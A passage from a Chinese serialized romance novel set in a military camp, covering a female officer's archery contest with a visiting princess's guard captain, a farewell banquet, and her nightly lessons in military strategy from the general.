威行听到这话瞬间低下头，努力压住嘴角的笑意，谁不知道，茉云一向好动不喜静，练武打架她能折腾几个时辰，但一看字一炷香时间就能困到不省人事。
正啸见她这幅表情，眉头微挑透出一丝冷硬的威压。
茉云眼中闪过一抹狡黠，随即一本正经地抱拳说道：“大将军，晚膳后天已黑，我一个女子进出大将军营帐，是否不太妥当？若是军中传出什么闲言碎语，有损大将军威名！”
周总教头和威行都无语地愣了半刻望向茉云，她平日里不说，军中又有谁将她当个女子看过。
正啸则目光微沉声音冷静的说：“我无所谓，若你按时未到，我会亲自去押你来！”
此话一出，茉云顿时一脸想死的表情，心里简直要抓狂，让这满军营的将士天天见我被押着满营跑？那我岂非丢脸丢到家了？你无所谓，我还有所谓呢！
她咬了咬牙，深吸一口气，满脸无奈地抱拳答道：“末将明白了。”
一旁的威行实在忍不住了，肩膀微微颤抖，笑得差点憋出内伤。
周总教头叹了口气，忍不住摇头指着茉云说道：“你啊，也幸亏这世上还有个人能管你几分！”
威行听完更是乐得不行，忍着笑看向茉云故意叹气道：“哎，既生瑜，何生亮！”
茉云听着嘴角一抽，抬脚对着威行就是一脚！威行迅速躲开笑得更欢。正啸脸上带着些许无奈的神色，什么都没再说，转身回自己营帐了。
周总教头则继续指着茉云教训道：“方茉云，你还知道自己是个女子啊，这是军中，彼此信赖忠义无双乃卢家军根本，你昨日在军中那般风闻言事的捉细作，眼神狠戾得如妖怪一般，若不是大将军替你收了场……你可见昨日将士皆怕了你，绕着你走吗？”
茉云嘴角透出一丝笑意，望向他在阳光下显得笔直挺拔的背影随意地说:“那他为何不怕了我，绕着我走？”
威行则笑着不经意说道：“那时在中州，宋大人就说了，大将军一生刚正，黑白是非皆分明，唯独你是例外，活在他的对错之外。”
茉云轻轻转头望向威行……
240.婚
晌午后，习武场的骑射场上，周总教头按照元帅军令亲自带着茉云去了骑射营，向他们营的将士郑重介绍茉云。
“最近，鹿里将军不在营中，骑射营的训练就由方校尉代为负责。”他目光扫过众人，语气中带着威严，“你们都得给我听好了，方校尉的本事，不比你们鹿里将军差，好好学，好好练！”
“是！”骑射营的士兵们闻言都马上接令，但是神色却是各异，目光齐刷刷地落在茉云身上。骑射营向来是军中的高级兵，自是经过筛选的，天赋卓越之人才会进入骑射营，个个心高气傲，平日里能让他们服气之人，少之又少。
虽说茉云的名声早已在军中传开，作为一名校尉，她不仅得到了元帅和诸多将军的赏识，身怀高超武艺军中无人不晓，还在几次关键战役中立下赫赫战功，这让他们不得不多了分敬意。
然而，茉云一下午的态度却显得出人意料的平和。她站在场边，表情淡然，眼中没有半分盛气凌人的模样。她只是安静地观察着士兵们训练，还不时露出欣赏的微笑，看到射出不错成绩的士兵，她还抬手鼓劲：“不错！继续保持！！”
这样的态度让威行还有雄山、石川等了解茉云的人都不禁侧目看了过来，她平日里历练下属，可不是这番好态度的。
这时，朗川公主一行人如往常一般，骑着马悠然来到习武场活动活动筋骨，饶盛男本也是好动的性子。
公主身后，跟着她的护卫队，自从上次公主坠马之后，那护卫队队长更是寸步不离。他目光扫过正在训练的骑射营，最后停在了茉云身上，眼底流露出的轻视且毫不掩饰。
茉云亦注意到了他的目光，嘴角勾起了一抹意味深长的笑容。她转头看向饶盛男，带着几分调侃的语气：“ 公主，你们朗川国，公主比护卫队可平易近人多了。”
饶盛男听到这话忍不住笑了，转头看了护卫队队长一眼。那队长见到公主的目光，刚刚冷漠的眼神立刻温和了许多。
饶盛男笑着对茉云说道：“他啊，箭法卓绝，所以有几分傲气，莫要见怪。”
茉云挑了挑眉，脸上露出几分诧异的表情：“是吗？”
饶盛男似乎也捕捉到了她表情里的质疑，畅然而笑：“不如你也跟他切磋一下？”
“可以啊，请赐教！”茉云笑着畅快应道，语气中带着几分漫不经心，仿佛只是随口应下。
此时，威行眼神一亮立刻骑马上前，让众人皆让开，让出了骑射场，士兵们纷纷后退，形成一个宽敞的场地。
方校尉又要和人切磋了，消息瞬间传开，没过多久元帅还有诸位将军纷纷走了出来，站到了场边观战。正啸和若辰亦到场了，谁又晓得她要搞什么鬼？
公主的护卫队队长神色自若，满脸的傲气。他飞身上马握紧了自己的弓，双腿轻夹马腹，马儿顷刻奔腾起来。整个骑射场回荡着马蹄疾驰的声音，他弯弓搭箭，马未停，人未歇，箭已离弦！
“嗖——嗖——嗖——”利箭破空而出，眨眼间射中了第一个靶子，而他丝毫没有停顿，手中箭如连珠，十几个箭靶应声中箭，个个正中红心！
这一手精湛的箭术顿时让场上的士兵们忍不住为他鼓掌，甚至爆发出一片叫好声。
就连魏副帅都在元帅耳边评价道：“这小子，箭术确实厉害啊！”
护卫队队长射完最后一箭，勒马回身，一脸傲气地转头看向茉云。
然而，茉云却嘴角挂着灿烂的笑容，接着居然抬手鼓掌，边鼓掌边笑着说道：“厉害，厉害。”
正啸站在人群中，目光扫过茉云那傻笑的脸，无奈微微叹了口气，这就是她扮猪吃老虎时的标注神情。
轮到茉云之时，她嘴角微微一扬，飞身上马，动作如行云流水。瞬间马蹄扬起，她的坐骑仿佛也感受到它主人的气势，发出一声嘶鸣，四蹄如风般疾驰而出，掠过骑射场。她手握弓箭，眼中瞬间透出冷冽的光芒，整个人亦如蓄势待发的利箭。
随着她的马飞奔而过，她弯弓搭箭，动作干净利落，毫不拖泥带水——“嗖——”第一支箭破空而出，迅猛如雷，瞬间朝靶心而去！
然而，众人发现，她不只是精准地射中红心，那利箭带着桀骜不驯的霸气，对准的是刚才护卫队队长的箭！
“啪——”一声清脆的响声传来，她的箭竟硬生生将那队长射入靶心的箭从中劈开，让残箭掉落在地，自己箭正中靶心，场中顿时一片寂静。
马还在飞驰，而她手中箭却未停，动作愈发流畅，剩余的箭如连珠般飞射而出，箭箭精准地射中每个靶心，将那队长的箭尽数劈断。一时间，那些断裂的箭落了一地，而箭靶上，只剩下她射出的箭，在风中孤傲地颤动，彰显着她的不容挑衅的桀骜。
最后一箭射出，她猛地勒住缰绳，马匹前蹄高扬，发出一声震耳的嘶鸣，她在马上稳稳地立住，目光凌厉如刀。
习武场顿时悄无声息——而下一刻，震天的欢呼声如雷鸣般响起，整个场地都沸腾了！骑射营的士兵们早已按捺不住心中的激动，大声欢呼起来。
“好——！”“方校尉厉害！”
就连朗川的护卫队队长都愣了半刻，眼中的傲气亦化为了震惊。
茉云一手握着弓，站在马上回头望向众人，嘴角带着一抹自信而霸气的微笑，目光如同俯瞰万物的雄鹰，带着一种无可匹敌的气势。
这一刻，她不需要任何言语，单凭如此惊艳卓绝的箭术，就彻底征服了在场所有将士。
远处围观的元帅见状，忍不住哈哈大笑，拉着魏副帅他们骄傲的说道：“看见这箭法了没，看见没！”
正啸站在人群中双手抱臂，看向茉云那明明一脸得瑟还故作沉稳的笑容，他的嘴角也不自觉地勾起了一丝无语的笑意。
茉云轻轻一夹马腹，坐骑缓缓走到骑射营众人面前。她居高临下地俯瞰所有骑射兵将士，眼神凌冽地沉声说道：“看看你们刚射的那都是些什么！箭不准、力不足，连靶心都勉强碰到，还敢说自己是卢家军骑射营的？”
她的声音不大，却铿锵有力，夹杂着一股不容反驳的威势，让人不禁汗颜，骑射营的士兵一个个都低头不语。
茉云轻拉缰绳，目光如炬，继续说道：“明日东方破晓之时，全骑射营，骑马拉弓到骑射场集合，随我练箭！”
所有骑射营士兵齐刷刷抱拳，大声喊道：“是！”
茉云这才飞身下马，将弓搭在肩膀上，风轻云淡的转身朝元帅他们走去。
元帅一脸欣慰自豪地笑着说道：“这就是咱家的茉云，乃巾帼英雄也！”
崔老将军和其他将领也纷纷赞赏的笑了，众人皆知，元帅对茉云向来赏识有加。
茉云却不解的直接打断了元帅的话：“我啥时候成您家的了？”
元帅不但不恼怒，反而满脸不以为然地为自己打圆场说道：“诶，卢家军中都是一家！”
一时间，场上众人更是畅然而笑。他们这些元帅身边之人谁能不知，元帅一天到晚想方设法地撮合正啸和茉云。
这时，站在朗川公主身后的护卫队队长，原本一贯冷漠，对任何人都懒得多看一眼。可此刻，他居然开口了，目光第一次认真地看向茉云，语气中带着几分试探：“你是……云？”
他的声音虽低，却足够清晰，让在场所有人都能听见。
饶
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盛男一愣，转头不解地看向她的护卫队队长：“她不就是叫方茉云吗？”
护卫队队长却摇了摇头，目光直视茉云，继续说道：“云是戈壁北部部落曾经的射手传奇。”
一瞬间，场上的笑声逐渐平息，所有人的目光都不约而同地看了过来。
而茉云淡淡一笑，目光平静地看不出任何情绪，她转头看了护卫队队长一眼，说道“也不至于，当年我听人说过，戈壁南部也有一个少年神射手，名叫风。想必就是你吧？幸会啊。”
护卫队队长原本神色平静，眼神瞬间一沉，声音低沉而带着几分复杂的冷意：“我是奇能的朋友，你是云？那个本该和他大婚，却逃婚的女子。”
此言一出，又犹如一石激起千层浪，所有目光都齐刷刷地落在了茉云身上。饶盛男更是愣住了，无语的看了护卫队长一眼。
茉云却满脸的不以为然，挥了挥手，语气中带着几分漫不经心的轻松：“什么逃婚？你听谁说的！我是南境人，我本来有婚约的！”
护卫队队长的目光微微闪动了一下，似乎带着几分疑惑。一旁的饶盛男一脸好奇地看向茉云，认真问道：“那你和婚约男子成婚了？”
茉云则笑着毫不在意的坦然说道：“这桩勉强能算逃婚，反正也是被我搅黄的。”
饶盛男忍不住又愣了半刻，站在原地望向茉云。
茉云则忽然做出一副正气凛然的模样，语气庄重地说道：“公主，像我等这般巾帼不让须眉的女子，心怀鸿鹄之志，一生立志报国！”
众人听到这话，一时间竟都没有反应过来，但下一秒，威行却忍不住笑着接过话头。
“得了吧，您还鸿鹄之志，立志报国？”他故意拖长了音调，满脸调侃，“元帅，刚中午方茉云还跟陆润吉商量，说提拔不提拔，将军不将军的她无所谓。若陆润吉当了将军，心里觉得过意不去，把饷银给她就行。”
威行这话一出，众人先是一愣，随即轰然大笑，这才是茉云正常的调调。。
此时东山在元帅身边，神情温润地笑着像元帅禀报说，帐中为朗川公主送行酒宴已经摆好，元帅大手一挥说道：“好！”
众人便随着元帅往其营帐中走去，这个时候护卫队队长还是跟在朗川公主身旁。
“南风，你不用陪我赴宴，你向来不喜欢这等热闹之地！”饶盛男看向他的护卫队长温和的说道。
“无碍！”护卫队队长看向饶盛男温和的说道，说完他冷冷的看了茉云一眼，显然就是不放心她。
饶盛男无语的被逗笑了，亦没有再说什么，茉云则好似完全看不见那双充满敌意和排斥眼睛，伸手拉着饶盛男说道：“公主，走！”
“诶，说了叫我盛男就好！”
两人边有说有笑的走入元帅营帐，茉云走入营帐便看见营帐中安排了酒。
她顿时喜笑颜开的说道：“有酒！”
元帅大手一挥笑着说道：“公主请坐，今日为公主送行，自是破例，肯定是要以美酒款待的，茉云你便坐在公主旁，陪公主敞开喝，本帅允的！”
“谢元帅！”饶盛男豪迈的抱拳笑着说道。
茉云则满脸的欢喜又感动地看着酒说道：“元帅就是好！”
元帅则满脸的慈笑的坐下，正啸亦没有说再说什么。
“军中一见，元帅待你是颇为赏识啊！”饶盛男则看着茉云带着一丝意味深长，随即又爽朗的笑了说道，“我听说就连卢老太君，亦希望你嫁卢家，还去求了你们圣上，可卢正啸抗旨都不从！”
顿时热闹非凡的营帐内鸦雀无声，听说过，未听说过此事的人，都不约而同地望向了茉云……
241.踮脚
饶盛男亦瞧见众人的神情，故作小声的笑着问道：“此事……不能提否？”
茉云却毫不在意探究的目光，镇定自若的长叹了一口气，说道：“我自见大将军第一面，便冒犯了他，从那之后，他就哪哪都看我不顺眼，这老太君啊，她是老糊涂了！”
朗川公主见她神情如此坦然，忍不住笑问：“你如何冒犯他了？”
茉云拿起酒壶，慢悠悠地叹气说道：“我之前不过是个小地方的县丞，后来升任中州府衙为参军，我心里想着新官上任三把火，总得干点大事谋个前程，当日我又不认识他，我只知卢将军在关外悬赏那么高……”
她说到这儿一脸的无奈，若辰和威行等人想着皆忍俊不禁。其余人都饶有兴致地等着她继续讲下去。
“于是，我就琢磨着找个人多的地，谎称自己就是卢将军，引个通缉犯或者杀手出来，将其办了。谁知晓当日他就坐在我侧旁，我几杯酒下肚便说，如此良辰美景，我卢正啸不做大人，亦不做将军，我只做这人间最放浪的烟火……然后当着众人面，还言语调戏了一个跳舞的艺伎，念了句诗，酒力渐浓春思荡，鸳鸯绣被翻红浪。”茉云忍住笑意回忆着说道。
听完此话，整个营帐彻底炸开了锅，众人哄堂大笑，刚才还略显拘谨的气氛瞬间松懈下来，威行等人笑得眼泪都快流了出来。
而饶盛男亦是笑得花枝乱颤，捂着肚子说道：“你冒充卢正啸念了这句诗……”
“对啊，我还说怎么当日诗一念完，千山，威行也在场，他们看着我，眼神都看直了！”茉云无语的叹气道，“哎……不就是抒发感情的诗歌，又不是我写的！”
“岂止是一句诗！”威行笑着指向茉云说道，“你还给大将军下药啊！”
小马接过话笑着解释说：“当日头是一眼便知将军是高手，她怕动起手来打不过，耽误擒贼，就想在将军酒中下点蒙汗药，谁知太易那小子买错了！”
威行笑得眼泪水都要出来了，朝向元帅描述道：“元帅，您不知，当日我们亦都懵了，中州人如此彪悍吗？他当着面，如此冒犯大将军也就算了，他还敢在大将军的酒里下合欢散？千山都开口问我了，他想干什么？找死也不是这等找法啊？”
“知道我有多倒霉了吗？”茉云则是一脸无辜地望向饶盛男，一副不堪回首的表情,引得众人又是一阵轰然大笑。
元帅也是第一次听到这段过往的始末，他笑得直拍桌子：“难怪你两成了冤家死对头！”
饶盛男笑得满脸通红，说道：“我属实是服了你了！那卢老太君为何非要你嫁他？”
“卢老太君年纪大了，想法清奇，她非说卢正啸自小严厉，能在他面前如此狂吠造次，而没被他一脚踩死的，就只有他们家以前的小白和我！”茉云抬眉越想越忿然的说，“后来我才知晓，小白是他们家一条恶犬，你说卢老太君这人啊，她好似恭维你的话，都这般是中听啊！”
众人亦笑得更欢，魏副帅愣了半刻看向茉云，卢家军中谁敢如此非议老太君，可是他望向元帅，他没有半分气恼地笑得很是开心……
而此时，正啸才轻轻走入营帐，他在帐外之时定然是听见了茉云所言，若辰正好抬头挑眉望向正啸，眼神里皆是异样的神情，正啸原本冷峻的脸上此刻泛起了一丝无奈，显然是故意躲开了眼神，而营帐内的笑声仍然不断。
“我少时也有幸见过卢老太君……”饶盛男笑着亦想起了往事，“至今记忆深刻！”
众人皆知卢老太君的性子素来严苛，而且依照她的行事做派，她当日定是就跟饶盛男表达了她跟卢正啸绝无可能之意。
“老太君做了什么让你记得这么清！”茉云笑着给饶盛男倒酒说道。
“我随父王去往京城叩见皇上，自是盛装公主服饰，老太君经过我之时，我像老太君行礼，老太君点了下头，便教训她的孙女，女子金玉其外莫败絮其中就好！”饶盛男笑着显然已毫不在意的说道。
一时之间，整个营帐内安静了几分，所有人包括元帅、魏副帅，都愣了一瞬，元帅的表情顿添几分尴尬，他知道自己娘……那刀子一般的直白性子。
正啸亦眉头微微蹙起，而若辰则轻轻吸了口气，这也是正啸自幼鲜少与女子相处的原因，他奶奶对待她们都相当苛刻。但是他们也都知道，卢家是受皇命执掌兵权的元帅之家，身边居心叵测之人甚多，老太君就是以其刚烈的性子护卫卢家和子孙的……
魏副帅见状，忙想替老太君打圆场，说道“公主，老太君绝非恶意，她绝不是说您！”
“她是说您！”茉云却接过魏副帅的话茬，看向饶盛男笑着说，“但是也算不得太恶意！”
“那这算善意吗？”饶盛男则笑着望向茉云反问道。
“她就是想直白的表达天下女子都配不上她孙儿！这么说不善也不恶吧。”
“那要如何才称为恶啊？”
茉云则乐了放下酒壶看向饶盛男一脸叹息的说道：“若是老太君跟您说，卢家军驻守南境能保边关和友邦无恙，人若随你而去便不能保你安然，人若接掌卢家军便不能与你相伴，世事终难两全，此乃他心中之人生憾事！”
此言一出，营帐内的众人纷纷都望向她，饶盛男亦看向茉云。
茉云目光坦然地望向饶盛男语气中透着几分调侃：“这才是深谋远虑又及其恶毒——既表达了她要表达之意，又让人日后心甘情愿地为之付出！”
她话音刚落，还没饶盛男回应，站在公主身后的护卫队长南风顿时脸色一沉，忿然瞪向茉云：“你简直无耻！”
“诶，此乃闲聊玩笑话！”饶盛男温和的笑了看向他的护卫队长南风。
可他眼神中带着怒意，话语更是锋利：“方茉云，你先前让人去劝公主搭救卢正啸，实则也是想把公主和朗川国一并拉下水！如此一来，朗川便再无退路，只能与你们卢家军一同对抗峑戎。你简直是心机深沉，卑鄙至极！”
南风不顾公主的阻挡，说得斩钉截铁显然压抑不满已久。
而面对他的指责，茉云却毫无愧色，反倒笑得更加坦然，甚至点了点头：“也对。”
“你——！”南风被她这副毫不避讳的气焰，气得握紧了剑，语气愈发愤怒：“尔等居然如此卑鄙阴险，厚颜无耻！”
谁知，茉云非但没有生气，反而从容不迫完全没有将南风的怒气放在眼里，说道：“说得没错，蛇蛇硕言，出自口矣，巧舌如簧，颜之厚矣，就是形容我这种人的。但是，我这人敢做敢当，绝不怂！”
“你说谁怂！”南风听到这话，更是被激得怒火中烧，手中的剑握得更紧，瞪向茉云。
茉云眉毛微挑，脸上依旧挂着云淡风轻的笑容，悠悠说道：“愿身能似月亭亭，千里伴君行，却未敢言，那便是怂。不问，你觉得你了解人想什么吗？”
此话一出，南风像是被什么狠狠击中一般，瞬间怔住了。他的眼神晃动了几下，想反驳却哽在喉咙里，不知如何开口。
帐内的气氛在这一刻微妙地变化了。执礼和若辰对视了一眼，两人眼中闪过一抹了然，似乎在这一瞬间明白了茉云的意思。这朗川公主的护卫队长……定然是一直钦慕着饶盛男，却从未敢
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表露半分心迹。
饶盛男也察觉到了气氛的异样，她微微偏头看了一眼南风，嘴角温和的笑了，却并未开口打破这微妙的沉默。
茉云放下酒壶，满脸坦诚地看向朗川公主，眼神中带着敬意和诚恳，说道：“公主，听到您的名字，便知您的父王对您寄予厚望。定是希望您能承载千军万马，开拓朗川盛世基业。我想您既然愿意出兵相助，绝非仅因幼时相识的友人情谊，定是因为您心中亦觉得朗川与周边友邦这般谨小慎微的日子，绝非长久之计。”
饶盛男眼神微微一顿，抬目望向茉云.眼神中闪烁出光芒。
茉云的声音中却透着笃定，继续说道：“千里之外，不知为何听到您的名字，我便能感受到您的志向……我一个南境庶民，都满心希望家乡人能安居乐业，您堂堂朗川长公主，心中定然怀抱着让您的子民远离战乱、开创一片太平盛世之鸿愿。”
说到此，茉云举起酒杯笑容中带着几分歉意，语气柔和却又洒脱的说：“情急之下，我等草率行事，若有冒犯，还望公主海涵见谅。”
朗川公主随即扬起一抹爽朗而豪迈的笑容，她举起酒杯，轻轻一碰茉云的杯沿，发出清脆的一声。两人同时露出了畅快的笑意，没有半点犹豫，仰头将杯中酒一饮而尽。
四下众人见此情景，也都忍不住为这份畅快会心一笑。
元帅被这份浓烈的豪情所感染，眉眼舒展缓缓站起身，举起酒杯看向朗川公主朗声说道：“来，为这天下的太平盛世，我们一起敬一下公主！”
饶盛男听闻，随即豪迈地端起了自己酒杯站起身，脸上带着爽朗的笑容，铿锵有力地回道：“谢元帅！”
众人随即杯盏高举，齐声高呼：“敬公主！”
随后，众人豪情满怀地将杯中酒一饮而尽。营帐中霎时间热烈非凡，杯盏碰撞之声与笑语交织在一起，氛围愈发浓烈。
坐在一旁的执礼不禁微微一笑，目光落在杯中微微荡漾的酒液上，眼中带着欣慰。一杯酒，就将边关外往南一系盟国友邦，共抗峑戎的大事敲定了。
营帐中，灯火通明，酒香四溢，觥筹交错间，时间悄然流逝，夜色渐浓时，营帐内的热烈气氛却没有半分减退。直到深夜，众人方才尽兴而散。
翌日清晨天光微熹，南营大门前的晨雾尚未散去，众人已聚集在此，为朗川公主送行。饶盛男身着一身轻甲英姿飒爽，抱拳谢过元帅，元帅摸着胡须满脸慈笑地点点头。
茉云亦来了与她告别，朗川公主在翻身上马之前，特意停下看向茉云笑了说道：“茉云，你可知来之前，我父王还跟我说，最好的婚配便是陪伴，是晨光暮色，如影随形，是当有选择之时，他始终坚定地选择你。而那些需要踮起脚去够的……终究是累，还容易站不稳。”
“公主，您乃金枝玉叶，生而尊贵，您父王属实疼你，他说得也一点没错。”茉云嘴角扬起一抹坦然洒脱的笑意，说道，“但我自小出生蝼蚁，一无所有，什么都得踮脚去够，既然已是废累，那便定要取自己最喜欢的！”
饶盛男微微一怔，两人对视一瞬，心照不宣的笑了，然后朗川公主翻身上马，策马而立，目光遥望远方轻声说道：“茉云，愿你得偿所愿！”
“公主，愿您一路顺风。”说完茉云说完，望向饶盛男暗示的瞥了一眼南风。
朗川公主瞬间被逗笑了，随即一扬马鞭，朗声说道：“起程！诸位保重！”
她的声音清脆而有力，回荡在晨光中。一行人一路南去，马蹄声渐行渐远。茉云转身毫无迟疑的去往骑射营，眼中闪过一抹坚毅的光……
242.偏爱
不到一炷香的时间，茉云便带着精神抖擞的骑射营浩浩荡荡地出了营地，说是找个风景秀丽之地练箭，于是去往附近山中。
他们出营之时，小马、太易、石川等人目送队伍离开，脸上却带着几分复杂的神情，他们互相使了几个眼色，那表情既像是同情，又像是幸灾乐祸，还透着一点祝福他们的神情。
“可怜见的。”石川忽然叹了口气评价道，顿时众人哄堂大笑，连沧海都嘴角微扬的笑了。
直至黄昏时分，队伍终于返回营地，茉云骑马在最前，营前下马依旧是一脸风轻云淡的模样，而骑射营的士兵们则完全是另一副模样——一个个几乎是滚下马来，脸上写满了疲惫和恐慌，甚至有些人站不稳，被同伴搀扶着往伙营走去。
向来趾高气扬的骑射营，这会儿全体安静得……呆若木鸡，伙营端上了饭菜，他们坐在伙营的长桌旁，默默地吃着饭。
他们没有了往日的喧哗吵闹，也没有人抱怨半句，就连多看别人一眼都没有，每个人都闷头吃饭，吃完便默默起身，回营休息，周围的其他士兵都忍不住投来好奇的目光。
“这是怎么了？”有士兵低声问太易道，“太易参将，方校尉带兵练武，不会真把人练死吧？”
听到这话，站在旁边的小马和太易对视一眼，露出了耐人寻味的笑意。太易耸了耸肩，轻声说道：“绝对不会，她从不会放弃任何一个属下的生命。”
小马也点点头语重心长的说道：“绝不会让人死，只会让人求生不得，求死不能。”
话音刚落，威行走过来也正好听见了，忍不住乐了。
几人正低声调侃，茉云迈着轻松的步伐从伙营里走出来，手里还捧着一盘刚添热菜。她嘴里叼着筷子，嬉皮笑脸地看了小马等人一眼，随口问道：“元帅让你们跟王强去落实行军图的事，今日可顺利否？”
小马和太易一听，瞬间僵住了，石川也不自觉地坐直了身体。三人愣了一下，随即立刻站起来回答：“威行将军说明日一早便启程。”
茉云闻言，眼神瞬间凌冽起来，笑着问道：“哦？威行将军，这朗川公主走了，您伤感得还需要休整一整日？”
威行被点名，顿时觉得后背发凉，急忙站起来，努力让自己的语气显得诚恳：“今日主要是分配路线，安排具体事宜。磨刀不误砍柴工嘛。”
茉云抬起眼笑了，目光如刀般扫向威行。威行顿时感觉整个人都要被冻住了，背后凉意更甚，他就是有这拖拉的毛病，雄山等人站在一旁，低头忍着笑，肩膀都在抖。
此时伙营外传来了冷静又威慑力十足的声音：“方校尉，随我来。”
所有人顿时一静，齐刷刷地看向门口。只见正啸站在那里，神色平静而威严，目光淡然的望向茉云。
茉云愣了一下无语地吸了口气，知道自己逃不过，只得迈着不情不愿的步子跟上正啸，走出伙营。
威行见状不禁松了口气坐下，低声嘀咕：“螳螂捕蝉，黄雀在后，幸亏大将军救了我一命。”
他还没坐得安稳，伙营外突然传来一阵急促的脚步声，不一会儿，周总教头怒气冲冲地走了进来，目光如火般直盯着威行，吼道：“我警告你，明天一早你还不动身，看我不剁了你的腿！”
“明早天一亮就出发嘛！”威行顿时吓得撒腿就跑，众人愣了一下，随即爆发出哄堂大笑。
“螳螂捕蝉，黄雀在后，你以为那支螳螂被黄雀逮了就会放过你……”雄山小声笑着说道，众人笑得更开心了。
正啸迈进营帐，茉云一脸不情愿端着饭跟在后头，刚一进门就看见桌上整整齐齐码着一摞兵书，顿时满脸愤然地抱怨道：“我饭还没吃呢！”
正啸坐在案几旁，语气不急不缓：“你吃便是。”
茉云毫不客气地坐下，放下大碗大快朵颐，吃得满嘴鼓鼓囊囊，丝毫没有半点女子矜持的样子。执礼正站在一旁帮卢正啸整理公文，千山则站在门侧守卫，一脸肃然，然而两人还是忍不住地瞥向茉云。
茉云也似乎察觉到他们的目光，睁着眼睛不解的问道：“你们不饿吗？”
执礼和千山相视一眼，没有说话，只是目光中带着一丝无语。茉云这才回过神来，心里自是明白——他们的眼神是在提醒自己，大将军面前这么吃，好像有点不像样。
谁知就在这时，正啸放下手中的公文，居然难得露出了一丝笑意。
“千山，去帮我端点饭菜来吧。”正啸神情温和的说完，转头看向茉云嘴角上扬的说道：“看你狼吞虎咽，倒是也让人觉之饿了。”
茉云抬眼白了他一眼，嘴上却什么都没说，继续吃着手中的饭食。执礼却轻轻笑了，最近正啸有伤在身日日吃药，且在帐中修养未活动筋骨，本食欲不佳。
没一会儿，千山就端了饭食进来，放在正啸案前，正啸有伤在身，所以与军中伤员的伙食相同，白神医还特地给他炖了药膳的汤。茉云闻到那药膳的香气时，顿时抬起头，然后不由得朝着正啸的方向凑了过去。
她盯着那大碗汤目光发亮，正啸抬眼看着她，见她睁大眼睛，满脸渴望装作乖巧的模样，忍不住轻被逗笑了，温和地说：“想喝，就自己舀。”
茉云开心地咧开嘴，毫不客气地拿过汤勺，舀了一半的汤到自己的碗里，然后坐下来一脸满足地喝了起来，眼神中满是享受，这么冷的天，喝一碗热汤，简直是天下最美味的佳肴了。
正啸看着她那开心的模样，原本一贯冷峻的表情竟也透出暖意。他如以往一般安静的用膳，茉云则边吃边在一旁陪着他，气氛竟然意外地温馨。
茉云吃完了菜，又凑过来蹭正啸的菜吃，他亦任她抢吃抢喝，千山看不过去了要上前制止，却被执礼拦住了，他轻轻示意让千山和自己退了出去，执礼放下营帐门帘的那一刻，微微笑了，老太君真是火眼金睛……
他的少主自幼出生帅府，性子刚烈严厉，不论是律己还是御下，都容不得半点沙子，从小经历太多的人世险恶，这世间已将他锤炼成钢筋铁骨，很难有什么能让他欢喜，但他若喜欢，那便是顽固而专注的喜欢。
就像老太君说的，少主幼时捡回那条其貌不扬，性情桀骜的小白，他就怎么看怎么都顺眼。
如今更甚，任世人如何说方茉云的心机，城府和狠戾，就连她身边之人都时常畏惧于她的满身棱角、桀骜不驯，可他……他自己也许都没有察觉，每逢无人之时，他眼神中的偏爱都好似快溢出来。
用完晚膳，茉云开心的舔舔嘴巴，终于吃饱了，心情亦不知为何变得畅快。
正啸则
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拿起桌上的一本兵书，翻开递给茉云，语气平静也带着一丝不容置疑：“看这本兵法，不懂之处问我。”
茉云叹了口气，瘪瘪嘴巴接过兵书坐下，虽然心里极度抗拒，但还是认命地接过书翻开，这番神情又将正啸微微逗笑了。
千山走进营帐将碗筷收走，茉云在旁边的案几上，一边撑着脑袋，刚开始还能勉强支撑，可才过了不到半炷香的时间，她的脑袋就一点一点地垂了下去，最后直接磕到了桌上睡着了。
正啸抬目看向睡得毫无防备的茉云，顷刻间被逗笑了，眼中闪过一丝宠溺的无语，丝毫没有责备的意思。
正啸望向万莫，指了指茉云温和地说道：“去端个火盆过来。”
万莫点头跑出了营帐，不一会儿他便端了一盆火放到茉云旁边。正啸继续翻开桌上的公文处理军务，而火光映照着两人的身影，显得格外温暖而宁静。
茉云睡得迷迷糊糊，半个时辰后终于睁开了眼睛，发觉帐中灯光柔和，只剩下正啸一人端坐在桌旁，正低头翻看着手中的公文。她撑起身子，打了个哈欠，揉着惺忪的眼睛说道：“困了，我先告辞回营了。”
正啸抬起眼，目光冷峻的说道：“这两页书，今夜研习明白了才可离开。如果一夜都没明白，那你就在我营帐呆一夜。”
茉云瞬间清醒了半分，吃惊地望向正啸，当她对上正啸那严肃的目光后，顷刻也明白这话绝非玩笑，心中一阵憋屈和忿然，却又无可奈何，只得硬着头皮坐回原位，翻开那两页书。兵书上的文字艰涩拗口，她皱着眉头看了几眼，满脸的迷茫。
她越看越烦费解，自小她虽读过私塾，那玉家书院私塾掌教本是个风花雪月的先生，怎得教这些东西……
正啸抬眼看向她叹了口气，显然也看得出她的困惑：“你过来。”
茉云抬头看着他满脸的不情愿，但还是慢吞吞地挪了过去，站到他旁边：“干嘛？”
正啸抬手指了指桌旁的椅子，语气淡然而威严：“坐下，我给你讲一遍。”
茉云也知道自己没得选，只得坐下，正啸却没有理会她的抗议，将书推到两人之间，侧过身靠近她，跟她讲解书中之意。
然而，就在转头的一瞬间，正啸忽然意识到，两人离得如此之近，近到他甚至能清晰地感受到她身上的气息，她唇间地呼吸轻柔还带着些许暖意，在他耳畔若隐若现，让他心中不禁微微一动。
他本是面色如常，但这一刻却微微僵住了。茉云却丝毫未察觉，她双眼朦胧，显然还没完全从刚才的迷糊中清醒过来，正一脸认真地盯着书上的文字，眉头微蹙，带着满脸疑惑和不解的神情，完全没有意识到身旁之人的心中悸动。
正啸沉默了一瞬，随即强迫自己移开目光，试图让心绪恢复平静。他抬手指了指对面的位置，语气变得稍微严厉了一些：“你坐那边去。”
茉云一愣，眨了眨眼睛望向他，显然没反应过来他突然的变化，她起身不满地移着位置，说道：“那为何不让我再滚远点，滚回我自己营帐去！”
正啸却躲开了眼神，亦没有理会她的抱怨，只是低头重新拿起书，平静地说道：“我一句句讲，听着。”
语气如此平淡，但他紧握书页的手却微微用力，分明是在极力克制什么……
243.无言
连日以来，茉云白日里带着骑射营训练接受烈日与箭雨的洗礼，而夜里去往正啸营帐中，听他讲解兵法，原本自己以为自己对这些晦涩难懂的兵法不感兴趣，可渐渐发现，自己并不觉得枯燥难耐，反而有些期待。
这夜，正啸正在跟茉云讲到：“行山林，险阻，沮泽，凡难行之道者，为圮地。圮地则行。”
茉云撑着头，听到此便露出了不解，皱着眉问道：“为何圮地则行？这种地方不是大军不好走吗？”
正啸温和而耐心地解释道：“正是因为难行，所以‘圮地则行’之意是——当必须经过此地时，要迅速通过，不得拖延。南境一路往南多山，关外圮地尤多，邻近渭河琼山之地更是如此。”
